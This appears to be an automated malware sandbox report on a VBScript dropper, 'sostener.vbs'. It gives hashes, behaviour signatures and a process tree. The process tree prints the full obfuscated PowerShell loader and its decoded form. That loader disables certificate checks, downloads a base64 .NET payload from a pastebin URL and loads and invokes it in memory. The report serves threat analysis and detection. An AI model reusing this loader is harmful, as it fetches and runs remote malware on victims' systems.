Overview

overview

10

Static

static

1

sostener.vbs

windows7-x64

10

sostener.vbs

windows10-2004-x64

10

Analysis

  • max time kernel
    121s
  • max time network
    122s
  • platform
    windows7_x64
  • resource
    win7-20240903-en
  • resource tags

    arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
  • submitted
    03-10-2024 06:56

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    sostener.vbs

  • Size

    15.4MB

  • MD5

    3ac2f2a9e0ea75fabc9cd17a6cfad0c5

  • SHA1

    918caec409f9a49bc055bbfb02d458c131724c83

  • SHA256

    48bb80b78ab20e88487589c0d691bd65a8d40f785d2d18d54c06bbedd09ca559

  • SHA512

    be4ce3a8489eb2ac441a9ea7c61f93f1b64a4e8435f8bcfbad0c0d83fcc1b7d6e6b5c3b0309616b7ed2bcbd173ce5427e257e14dc84e491766ffbc51af3a1327

  • SSDEEP

    192:9HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHM:qXmHsr0+uF8

Score
10/10
execution

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

http://pastebin.com/raw/V9y5Q5vv

Signatures

  • Blocklisted process makes network request 4 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Using powershell.exe command.

    execution
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 5 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\sostener.vbs"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2464
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $LoPuennnTes = 'J☆B4☆Hc☆cQB6☆Hg☆I☆☆9☆C☆☆Jw☆w☆DM☆Jw☆7☆CQ☆YgB4☆HY☆YwBy☆C☆☆PQ☆g☆Cc☆JQBw☆Ho☆QQBj☆E8☆ZwBJ☆G4☆TQBy☆CU☆Jw☆7☆Fs☆UwB5☆HM☆d☆Bl☆G0☆LgBO☆GU☆d☆☆u☆FM☆ZQBy☆HY☆aQBj☆GU☆U☆Bv☆Gk☆bgB0☆E0☆YQBu☆GE☆ZwBl☆HI☆XQ☆6☆Do☆UwBl☆HI☆dgBl☆HI☆QwBl☆HI☆d☆Bp☆GY☆aQBj☆GE☆d☆Bl☆FY☆YQBs☆Gk☆Z☆Bh☆HQ☆aQBv☆G4☆QwBh☆Gw☆b☆Bi☆GE☆YwBr☆C☆☆PQ☆g☆Hs☆J☆B0☆HI☆dQBl☆H0☆OwBb☆FM☆eQBz☆HQ☆ZQBt☆C4☆TgBl☆HQ☆LgBT☆GU☆cgB2☆Gk☆YwBl☆F☆☆bwBp☆G4☆d☆BN☆GE☆bgBh☆Gc☆ZQBy☆F0☆Og☆6☆FM☆ZQBj☆HU☆cgBp☆HQ☆eQBQ☆HI☆bwB0☆G8☆YwBv☆Gw☆I☆☆9☆C☆☆WwBT☆Hk☆cwB0☆GU☆bQ☆u☆E4☆ZQB0☆C4☆UwBl☆GM☆dQBy☆Gk☆d☆B5☆F☆☆cgBv☆HQ☆bwBj☆G8☆b☆BU☆Hk☆c☆Bl☆F0☆Og☆6☆FQ☆b☆Bz☆DE☆Mg☆7☆Fs☆QgB5☆HQ☆ZQBb☆F0☆XQ☆g☆CQ☆agBr☆G8☆cwBz☆C☆☆PQ☆g☆Fs☆cwB5☆HM☆d☆Bl☆G0☆LgBD☆G8☆bgB2☆GU☆cgB0☆F0☆Og☆6☆EY☆cgBv☆G0☆QgBh☆HM☆ZQ☆2☆DQ☆UwB0☆HI☆aQBu☆Gc☆K☆☆g☆Cg☆TgBl☆Hc☆LQBP☆GI☆agBl☆GM☆d☆☆g☆E4☆ZQB0☆C4☆VwBl☆GI☆QwBs☆Gk☆ZQBu☆HQ☆KQ☆u☆EQ☆bwB3☆G4☆b☆Bv☆GE☆Z☆BT☆HQ☆cgBp☆G4☆Zw☆o☆C☆☆K☆BO☆GU☆dw☆t☆E8☆YgBq☆GU☆YwB0☆C☆☆TgBl☆HQ☆LgBX☆GU☆YgBD☆Gw☆aQBl☆G4☆d☆☆p☆C4☆R☆Bv☆Hc☆bgBs☆G8☆YQBk☆FM☆d☆By☆Gk☆bgBn☆Cg☆JwBo☆HQ☆d☆Bw☆Do☆Lw☆v☆H☆☆YQBz☆HQ☆ZQBi☆Gk☆bg☆u☆GM☆bwBt☆C8☆cgBh☆Hc☆LwBW☆Dk☆eQ☆1☆FE☆NQB2☆HY☆Jw☆p☆C☆☆KQ☆g☆Ck☆OwBb☆HM☆eQBz☆HQ☆ZQBt☆C4☆QQBw☆H☆☆R☆Bv☆G0☆YQBp☆G4☆XQ☆6☆Do☆QwB1☆HI☆cgBl☆G4☆d☆BE☆G8☆bQBh☆Gk☆bg☆u☆Ew☆bwBh☆GQ☆K☆☆k☆Go☆awBv☆HM☆cw☆p☆C4☆RwBl☆HQ☆V☆B5☆H☆☆ZQ☆o☆Cc☆V☆Bl☆Gg☆dQBs☆GM☆a☆Bl☆HM☆W☆B4☆Fg☆e☆B4☆C4☆QwBs☆GE☆cwBz☆DE☆Jw☆p☆C4☆RwBl☆HQ☆TQBl☆HQ☆a☆Bv☆GQ☆K☆☆n☆E0☆cwBx☆EI☆SQBi☆Fk☆Jw☆p☆C4☆SQBu☆HY☆bwBr☆GU☆K☆☆k☆G4☆dQBs☆Gw☆L☆☆g☆Fs☆bwBi☆Go☆ZQBj☆HQ☆WwBd☆F0☆I☆☆o☆Cc☆W☆B1☆E0☆TgB1☆FQ☆a☆Bp☆C8☆dwBh☆HI☆LwBt☆G8☆Yw☆u☆G4☆aQBi☆GU☆d☆Bz☆GE☆c☆☆v☆C8☆OgBz☆H☆☆d☆B0☆Gg☆Jw☆g☆Cw☆I☆☆k☆GI☆e☆B2☆GM☆cg☆g☆Cw☆I☆☆n☆F8☆XwBf☆Ek☆bgB2☆Gk☆YwB0☆HU☆cwBf☆F8☆XwBf☆F8☆XwBf☆F8☆XwBf☆F8☆XwBf☆F8☆XwBf☆F8☆XwBf☆F8☆XwBf☆F8☆XwBf☆F8☆XwBf☆F8☆XwBf☆F8☆XwBf☆F8☆XwBf☆F8☆XwBf☆F8☆LQ☆t☆C0☆LQ☆t☆C0☆LQ☆n☆Cw☆I☆☆k☆Hg☆dwBx☆Ho☆e☆☆s☆C☆☆Jw☆x☆Cc☆L☆☆g☆Cc☆UgBv☆GQ☆YQ☆n☆C☆☆KQ☆p☆Ds☆';$KByHL = [system.Text.Encoding]::Unicode.GetString( [system.Convert]::FromBase64String( $LoPuennnTes.replace('☆','A') ) );$KByHL = $KByHL.replace('%pzAcOgInMr%', 'C:\Users\Admin\AppData\Local\Temp\sostener.vbs');powershell $KByHL;
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2256
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$xwqzx = '03';$bxvcr = 'C:\Users\Admin\AppData\Local\Temp\sostener.vbs';[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12;[Byte[]] $jkoss = [system.Convert]::FromBase64String( (New-Object Net.WebClient).DownloadString( (New-Object Net.WebClient).DownloadString('http://pastebin.com/raw/V9y5Q5vv') ) );[system.AppDomain]::CurrentDomain.Load($jkoss).GetType('TehulchesXxXxx.Class1').GetMethod('MsqBIbY').Invoke($null, [object[]] ('XuMNuThi/war/moc.nibetsap//:sptth' , $bxvcr , '___Invictus_________________________________________-------', $xwqzx, '1', 'Roda' ));"
        3⤵
        • Blocklisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2008

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
    Filesize

    7KB

    MD5

    57fd61bbd7e60b1f7072588c47498543

    SHA1

    ac78a7d9309461ea8e2e16de848461bc8eb77622

    SHA256

    320f3270c2f2916e41239bd6b54161e30bdc19f43f25f3e5ea7aa2d8218c001d

    SHA512

    b2fe265262e902d2fd1ce842aeb29dbb01caf396f785a269756c1e2b185e477092dcdd6047691914d093613a310fec4874ae8f111952ea503357016676fb993a

    Download Submit

  • memory/2256-4-0x000007FEF628E000-0x000007FEF628F000-memory.dmp

    Filesize

    4KB

    Download

  • memory/2256-5-0x000000001B570000-0x000000001B852000-memory.dmp

    Filesize

    2.9MB

    Download

  • memory/2256-6-0x0000000002250000-0x0000000002258000-memory.dmp

    Filesize

    32KB

    Download

  • memory/2256-12-0x000007FEF5FD0000-0x000007FEF696D000-memory.dmp

    Filesize

    9.6MB

    Download

  • memory/2256-13-0x000007FEF5FD0000-0x000007FEF696D000-memory.dmp

    Filesize

    9.6MB

    Download